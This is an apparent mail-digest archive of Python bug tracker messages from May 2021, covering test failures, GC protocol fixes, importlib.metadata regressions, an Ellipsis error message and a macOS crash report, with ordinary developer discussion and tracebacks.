<1303163944.05.0.666091618845.issue11871@psf.upfronthosting.co.za> Message-ID: <1622448364.26.0.429125299126.issue11871@roundup.psfhosted.org> STINNER Victor added the comment: 10 years ago, the issue is not solved. Recent failure on AMD64 Windows8.1 Refleaks PR buildbot: https://buildbot.python.org/all/#/builders/470/builds/45 The issue started to make the buildbot fail since I added a threading.excepthook in libregrtest. 0:58:59 load avg: 4.46 [107/427/2] test_threading failed (1 min 21 sec) -- running: test_bufio (9 min 53 sec), test_asyncio (5 min 29 sec), test_compileall (19 min 3 sec) beginning 6 repetitions 123456 ..Warning -- Unraisable exception Exception ignored in thread started by: .task at 0x000000F31C974050> Traceback (most recent call last): File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 48, in task f() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 998, in f i = barrier.wait() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 661, in wait self._wait(timeout) File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 701, in _wait raise BrokenBarrierError threading.BrokenBarrierError: Warning -- Unraisable exception Exception ignored in thread started by: .task at 0x000000F31C974050> Traceback (most recent call last): File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 48, in task f() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 998, in f i = barrier.wait() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 661, in wait self._wait(timeout) File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 701, in _wait raise BrokenBarrierError threading.BrokenBarrierError: Warning -- Unraisable exception Exception ignored in thread started by: .task at 0x000000F31C974050> Traceback (most recent call last): File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 48, in task f() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 998, in f i = barrier.wait() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 652, in wait self._enter() # Block while the barrier drains. File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 676, in _enter raise BrokenBarrierError threading.BrokenBarrierError: Warning -- Unraisable exception Exception ignored in thread started by: .task at 0x000000F31C974050> Traceback (most recent call last): File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 48, in task f() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 998, in f i = barrier.wait() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 652, in wait self._enter() # Block while the barrier drains. File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 676, in _enter raise BrokenBarrierError threading.BrokenBarrierError: test test_threading failed -- Traceback (most recent call last): File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 1003, in test_default_timeout self.run_threads(f) File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 832, in run_threads f() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\test\lock_tests.py", line 998, in f i = barrier.wait() File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 661, in wait self._wait(timeout) File "D:\buildarea\pull_request.ware-win81-release.refleak\build\lib\threading.py", line 699, in _wait raise BrokenBarrierError threading.BrokenBarrierError ---------- resolution: out of date -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:06:36 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 08:06:36 +0000 Subject: [issue11871] test_default_timeout() of test_threading.BarrierTests failure: BrokenBarrierError In-Reply-To: <1303163944.05.0.666091618845.issue11871@psf.upfronthosting.co.za> Message-ID: <1622448396.19.0.726180975534.issue11871@roundup.psfhosted.org> Change by STINNER Victor : ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:08:06 2021 From: report at bugs.python.org (Kshitish Kumar) Date: Mon, 31 May 2021 08:08:06 +0000 Subject: [issue44272] DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version Message-ID: <1622448486.31.0.346285053861.issue44272@roundup.psfhosted.org> New submission from Kshitish Kumar : Code: import random as ran x = ran.shuffle(10,random=1) Output: DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version. x = ran.shuffle(10,random=1) File "C:\Users\nisha\AppData\Local\Programs\Python\Python39\lib\random.py", line 369, in shuffle for i in reversed(range(1, len(x))): TypeError: object of type 'int' has no len() ---------- files: main.py messages: 394792 nosy: Kkshitish priority: normal severity: normal status: open title: DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version versions: Python 3.9 Added file: https://bugs.python.org/file50075/main.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:15:24 2021 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 May 2021 08:15:24 +0000 Subject: [issue44272] DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version In-Reply-To: <1622448486.31.0.346285053861.issue44272@roundup.psfhosted.org> Message-ID: <1622448924.43.0.576281862358.issue44272@roundup.psfhosted.org> Irit Katriel added the comment: What were you expecting? The documentation is here: https://docs.python.org/3/library/random.html ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:19:34 2021 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 May 2021 08:19:34 +0000 Subject: [issue44271] asyncio random carsh with longtime run In-Reply-To: <1622447968.51.0.0787409355185.issue44271@roundup.psfhosted.org> Message-ID: <1622449174.02.0.396381841019.issue44271@roundup.psfhosted.org> Irit Katriel added the comment: What?s the output, what system are you using? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:25:04 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 08:25:04 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622449504.53.0.450649772135.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset d1124b09e8251061dc040cbd396f35ae57783f4a by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fix sqlite3 traverse/clear functions (GH-26452) https://github.com/python/cpython/commit/d1124b09e8251061dc040cbd396f35ae57783f4a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:25:05 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 08:25:05 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622449505.45.0.961452607129.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25056 pull_request: https://github.com/python/cpython/pull/26461 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 04:57:12 2021 From: report at bugs.python.org (=?utf-8?b?5LiW55WM56ys5LiA5aW95ZCD?=) Date: Mon, 31 May 2021 08:57:12 +0000 Subject: [issue44271] asyncio random carsh with longtime run In-Reply-To: <1622447968.51.0.0787409355185.issue44271@roundup.psfhosted.org> Message-ID: <1622451432.05.0.0715989892977.issue44271@roundup.psfhosted.org> ?????? added the comment: I test it on OS :Windows 10 Pro x64 Python: 3.9.5 x64 This Code if work will it will print "are you ok" and stop. bug it print a random line like "done task 20897" ,stop print ,press Ctrl+C cannot break it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:12:42 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 09:12:42 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622452362.33.0.724225912036.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ff359d735f1a60878975d1c5751bfd2361e84067 by Miss Islington (bot) in branch '3.10': bpo-42972: Fix sqlite3 traverse/clear functions (GH-26452) (GH-26461) https://github.com/python/cpython/commit/ff359d735f1a60878975d1c5751bfd2361e84067 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:12:45 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 31 May 2021 09:12:45 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622452365.92.0.0429586532312.issue44229@roundup.psfhosted.org> Erlend E. Aasland added the comment: FWIW: 1st shell: $ ./python.exe -m test test_ssl -u all -m test_get_server_certificate -F $ ps [...] 1271 ttys004 0:01.00 ./python.exe -m test test_ssl -u all -m test_get_server_certificate -F 2nd shell: $ sudo errinfo -p 1271 The syscall trace shows that errno 41 is returned by write(): python.exe write 41 Protocol wrong type for socket python.exe ioctl 25 Inappropriate ioctl for device python.exe ioctl 25 Inappropriate ioctl for device python.exe ioctl 25 Inappropriate ioctl for device python.exe ioctl 25 Inappropriate ioctl for device python.exe connect 61 Connection refused python.exe connect 61 Connection refused python.exe ioctl 25 Inappropriate ioctl for device python.exe ioctl 25 Inappropriate ioctl for device python.exe ioctl 25 Inappropriate ioctl for device python.exe ioctl 25 Inappropriate ioctl for device python.exe stat64 2 No such file or directory ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:19:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 09:19:55 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622452795.48.0.123149041912.issue44263@roundup.psfhosted.org> STINNER Victor added the comment: I reopen the issue. I would prefer to change PyType_FromSpecWithBases() to raise an error if a type has the Py_TPFLAGS_HAVE_GC flag but its tp_traverse function is NULL. Oops, the Python stdlib has more types than only _ssl.SSLError with this error: * _decimal: PyDecSignalDictMixin_Type (internal type) * _testcapi: heapctype ---------- nosy: +vstinner status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:22:44 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 31 May 2021 09:22:44 +0000 Subject: [issue42213] Get rid of cyclic GC hack in sqlite3.Connection and sqlite3.Cache In-Reply-To: <1604094251.24.0.415072580215.issue42213@roundup.psfhosted.org> Message-ID: <1622452964.32.0.964885818962.issue42213@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +25057 pull_request: https://github.com/python/cpython/pull/26462 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:37:38 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 09:37:38 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622453858.0.0.242714292489.issue44263@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +25058 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/26463 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:45:12 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 31 May 2021 09:45:12 +0000 Subject: [issue44272] DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version In-Reply-To: <1622448486.31.0.346285053861.issue44272@roundup.psfhosted.org> Message-ID: <1622454312.38.0.920072178205.issue44272@roundup.psfhosted.org> Change by Steven D'Aprano : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:45:26 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 31 May 2021 09:45:26 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622454326.71.0.499184437005.issue44263@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 05:46:12 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 09:46:12 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622454372.83.0.00482227618044.issue44263@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +25059 pull_request: https://github.com/python/cpython/pull/26464 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:11:07 2021 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 May 2021 11:11:07 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622459467.48.0.749523793125.issue44263@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 142e5c5445c019542246d93fe2f9e195d3131686 by Victor Stinner in branch 'main': bpo-44263: Fix _decimal and _testcapi GC protocol (GH-26464) https://github.com/python/cpython/commit/142e5c5445c019542246d93fe2f9e195d3131686 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:10:42 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 11:10:42 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622459442.28.0.467675427256.issue44263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25060 pull_request: https://github.com/python/cpython/pull/26465 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:11:58 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 11:11:58 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622459518.93.0.790787043363.issue44263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25061 pull_request: https://github.com/python/cpython/pull/26466 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:23:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 11:23:22 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622460202.72.0.0870736663413.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset f097d2302be46b031687726011b86fc241a042ef by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for xxlimited (GH-26451) (GH-26460) https://github.com/python/cpython/commit/f097d2302be46b031687726011b86fc241a042ef ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:25:55 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 11:25:55 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622460355.0.0.160176082255.issue44263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 7fe9cad606a4ac7ac138528dcd19546394bc5a44 by Miss Islington (bot) in branch '3.10': bpo-44263: Fix _decimal and _testcapi GC protocol (GH-26464) (GH-26465) https://github.com/python/cpython/commit/7fe9cad606a4ac7ac138528dcd19546394bc5a44 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:33:35 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 11:33:35 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622460815.18.0.320204141117.issue44263@roundup.psfhosted.org> miss-islington added the comment: New changeset 46b16d0bdbb1722daed10389e27226a2370f1635 by Miss Islington (bot) in branch '3.9': bpo-44263: Fix _decimal and _testcapi GC protocol (GH-26464) https://github.com/python/cpython/commit/46b16d0bdbb1722daed10389e27226a2370f1635 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:37:50 2021 From: report at bugs.python.org (hai shi) Date: Mon, 31 May 2021 11:37:50 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622461070.25.0.780564866429.issue44263@roundup.psfhosted.org> Change by hai shi : ---------- nosy: +shihai1991 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 07:42:52 2021 From: report at bugs.python.org (Kshitish Kumar) Date: Mon, 31 May 2021 11:42:52 +0000 Subject: [issue44272] DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version In-Reply-To: <1622448486.31.0.346285053861.issue44272@roundup.psfhosted.org> Message-ID: <1622461372.51.0.239898505743.issue44272@roundup.psfhosted.org> Kshitish Kumar added the comment: I was expecting a proper result from this code. Because If you do same thing in other computer language. You will get a proper answer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 08:12:50 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 31 May 2021 12:12:50 +0000 Subject: [issue44229] Intermittent connection errors in ssl tests on macOS CI In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1622463170.48.0.379168095171.issue44229@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Are you sure? All the reports are from macOS CI. Christian mentioned that it could be similar to another ssl test failure that also happen on Windows, but those tracebacks do not match the ones in this issue. I am certainly not sure, but I think they are related. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 09:02:50 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 31 May 2021 13:02:50 +0000 Subject: [issue44271] asyncio random crash with longtime run In-Reply-To: <1622447968.51.0.0787409355185.issue44271@roundup.psfhosted.org> Message-ID: <1622466170.99.0.836667533358.issue44271@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- title: asyncio random carsh with longtime run -> asyncio random crash with longtime run _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 10:59:34 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 14:59:34 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622473174.6.0.395870190169.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: importlib_metadata 4.4 restores compatibility for the reported concerns. I'll merge those into CPython later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:04:05 2021 From: report at bugs.python.org (Andre Roberge) Date: Mon, 31 May 2021 15:04:05 +0000 Subject: [issue44273] Assigning to Ellipsis should be the same as assigning to __debug__ Message-ID: <1622473445.97.0.736288875096.issue44273@roundup.psfhosted.org> New submission from Andre Roberge : Consider the following in Python 3.10 >>> ... = 1 File "", line 1 ... = 1 ^^^ SyntaxError: cannot assign to Ellipsis here. Maybe you meant '==' instead of '='? >>> __debug__ = 1 File "", line 1 SyntaxError: cannot assign to __debug__ In prior Python versions, assignments to Ellisis written as ... were treated the same as assignment to __debug__. I believe that the old message was a better choice. The error message about assigning to Ellipsis (...) is made even more confusing since Ellipsis (the name) can be assigned to a different value. >>> ... == Ellipsis True >>> Ellipsis = 1 >>> ... == Ellipsis False >>> ... Ellipsis ---------- components: Interpreter Core messages: 394808 nosy: aroberge priority: normal severity: normal status: open title: Assigning to Ellipsis should be the same as assigning to __debug__ versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:03:54 2021 From: report at bugs.python.org (Anthony Sottile) Date: Mon, 31 May 2021 15:03:54 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622473434.94.0.786281560153.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: it does not, it restores apis but in a way which requires a huge performance hit to avoid deprecation warnings it also still has the 2-500x performance regression I've stated above ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:11:29 2021 From: report at bugs.python.org (Abhishek Ramesh) Date: Mon, 31 May 2021 15:11:29 +0000 Subject: [issue44274] Installation problem for python-3.6.4rc1-macosx10.6.pkg-('python cannot be opened because of a problem') in my MacOS11.4 Message-ID: <1622473889.75.0.253068261009.issue44274@roundup.psfhosted.org> New submission from Abhishek Ramesh : Process: Python [98546] Path: /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python Identifier: Python Version: 3.6.4rc1 (3.6.4rc1) Code Type: X86-64 (Native) Parent Process: zsh [98306] Responsible: Terminal [98304] User ID: 501 Date/Time: 2021-05-31 20:29:06.728 +0530 OS Version: macOS 11.4 (20F71) Report Version: 12 Anonymous UUID: 8C556153-D4E6-C8AE-84FD-AF178FDC2C1E Sleep/Wake UUID: FD76DA89-FD05-4CE3-8F34-101C34A63578 Time Awake Since Boot: 100000 seconds Time Since Wake: 64 seconds System Integrity Protection: enabled Crashed Thread: 0 Exception Type: EXC_CRASH (SIGABRT) Exception Codes: 0x0000000000000000, 0x0000000000000000 Exception Note: EXC_CORPSE_NOTIFY Termination Reason: DYLD, [0x1] Library missing Application Specific Information: dyld: launch, loading dependent libraries Dyld Error Message: dyld: No shared cache present Library not loaded: /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation Referenced from: /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python Reason: image not found Binary Images: 0x100000000 - 0x100000fff +org.python.python (3.6.4rc1 - 3.6.4rc1) /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python 0x7fff6a3cc000 - 0x7fff6a467fff dyld (852) <1AC76561-4F9A-34B1-BA7C-4516CACEAED7> /usr/lib/dyld Model: MacBookPro14,1, BootROM 429.120.4.0.0, 2 processors, Dual-Core Intel Core i5, 2.3 GHz, 8 GB, SMC 2.43f11 Graphics: kHW_IntelIrisGraphics640Item, Intel Iris Plus Graphics 640, spdisplays_builtin Memory Module: BANK 0/DIMM0, 4 GB, LPDDR3, 2133 MHz, 0x802C, 0x4D5435324C3531324D3332443250462D3039 Memory Module: BANK 1/DIMM0, 4 GB, LPDDR3, 2133 MHz, 0x802C, 0x4D5435324C3531324D3332443250462D3039 AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0x170), Broadcom BCM43xx 1.0 (7.77.111.1 AirPortDriverBrcmNIC-1680.8) Bluetooth: Version 8.0.5d7, 3 services, 18 devices, 1 incoming serial ports Network Service: Wi-Fi, AirPort, en0 USB Device: USB 3.0 Bus Thunderbolt Bus: MacBook Pro, Apple Inc., 41.4 ---------- files: Screenshot 2021-05-31 at 8.30.21 PM.png messages: 394809 nosy: abhishek5799 priority: normal severity: normal status: open title: Installation problem for python-3.6.4rc1-macosx10.6.pkg-('python cannot be opened because of a problem') in my MacOS11.4 versions: Python 3.6 Added file: https://bugs.python.org/file50076/Screenshot 2021-05-31 at 8.30.21 PM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:29:20 2021 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 May 2021 15:29:20 +0000 Subject: [issue44272] DeprecationWarning: The *random* parameter to shuffle() has been deprecated since Python 3.9 and will be removed in a subsequent version In-Reply-To: <1622448486.31.0.346285053861.issue44272@roundup.psfhosted.org> Message-ID: <1622474960.87.0.360571812322.issue44272@roundup.psfhosted.org> Irit Katriel added the comment: If you pass an integer to a function that expects a sequence you get an error message (in most languages). Please read the documentation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:29:41 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 15:29:41 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622474981.98.0.444126612704.issue44246@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +25062 pull_request: https://github.com/python/cpython/pull/26467 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:36:54 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 15:36:54 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622475414.38.0.72124933952.issue44246@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +25063 pull_request: https://github.com/python/cpython/pull/26468 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:52:37 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 15:52:37 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622476357.42.0.991428294646.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 410b70d39d9d77384f8b8597560f6731530149ca by Jason R. Coombs in branch 'main': bpo-44246: Entry points performance improvements. (GH-26467) https://github.com/python/cpython/commit/410b70d39d9d77384f8b8597560f6731530149ca ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 11:52:41 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 15:52:41 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622476361.25.0.176466065585.issue44246@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25064 pull_request: https://github.com/python/cpython/pull/26469 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:11:12 2021 From: report at bugs.python.org (Charalampos Stratakis) Date: Mon, 31 May 2021 16:11:12 +0000 Subject: [issue44048] test_hashlib failure for "AMD64 RHEL8 FIPS Only Blake2 Builtin Hash" buildbot In-Reply-To: <1620212963.3.0.83252428059.issue44048@roundup.psfhosted.org> Message-ID: <1622477472.3.0.752869133484.issue44048@roundup.psfhosted.org> Change by Charalampos Stratakis : ---------- keywords: +patch pull_requests: +25065 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26470 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:12:36 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 31 May 2021 16:12:36 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622477556.84.0.835262090375.issue44246@roundup.psfhosted.org> miss-islington added the comment: New changeset d1480ad2f5d5f02ecbe4b4091e8c428ddfa39ff6 by Miss Islington (bot) in branch '3.10': bpo-44246: Entry points performance improvements. (GH-26467) https://github.com/python/cpython/commit/d1480ad2f5d5f02ecbe4b4091e8c428ddfa39ff6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:19:49 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 16:19:49 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622477989.76.0.765050530152.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset c34ed08d975fb7daa7b329f7c631647782290393 by Jason R. Coombs in branch 'main': bpo-44246: Restore compatibility in entry_points (GH-26468) https://github.com/python/cpython/commit/c34ed08d975fb7daa7b329f7c631647782290393 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:19:49 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 16:19:49 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622477989.76.0.765050530152.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset c34ed08d975fb7daa7b329f7c631647782290393 by Jason R. Coombs in branch 'main': bpo-44246: Restore compatibility in entry_points (GH-26468) https://github.com/python/cpython/commit/c34ed08d975fb7daa7b329f7c631647782290393 ---------- message_count: 27.0 -> 28.0 pull_requests: +25066 pull_request: https://github.com/python/cpython/pull/26471 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 31 12:23:46 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Mon, 31 May 2021 16:23:46 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622478226.96.0.829017938724.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: The compatibility concerns are addressed with PR 26468 and some of the performance concerns may be mitigated with PR 26467. As I mentioned before, if there are continuing performance 